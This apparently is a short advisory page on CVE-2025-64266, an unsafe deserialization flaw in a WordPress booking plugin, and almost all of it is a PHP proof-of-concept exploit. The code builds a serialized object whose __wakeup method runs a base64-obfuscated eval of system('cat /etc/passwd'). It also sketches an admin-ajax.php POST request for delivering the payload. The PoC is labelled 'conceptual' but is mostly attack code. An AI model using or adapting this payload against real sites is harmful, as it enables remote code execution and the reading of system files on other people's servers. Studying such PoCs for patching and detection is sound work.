CVE-2025-64266 Booking and Rental Manager插件不安全反序列化漏洞

<?php // CVE-2025-64266 PoC - PHP Object Injection // This is a conceptual proof of concept demonstrating the unsafe deserialization vulnerability // Malicious payload construction class MaliciousClass { public $data; public function __construct() { $this->data = 'malicious payload'; } // This magic method will be called during deserialization public function __wakeup() { // Arbitrary code execution can be performed here eval(base64_decode('c3lzdGVtKCdjYXQgL2V0Yy9wYXNzd2QnKTs=')); // cat /etc/passwd } } // Generate malicious serialized object $malicious_object = new MaliciousClass(); $payload = serialize($malicious_object); // In real attack, this payload would be sent via HTTP request // to a vulnerable endpoint that calls unserialize() on user input echo "Malicious Payload: " . $payload . "\n"; echo "Base64 Encoded: " . base64_encode($payload) . "\n"; // Example HTTP request that could trigger the vulnerability: // POST /wp-admin/admin-ajax.php HTTP/1.1 // Content-Type: application/x-www-form-urlencoded // ... // action=booking_action&booking_data=BASE64_ENCODED_PAYLOAD ?>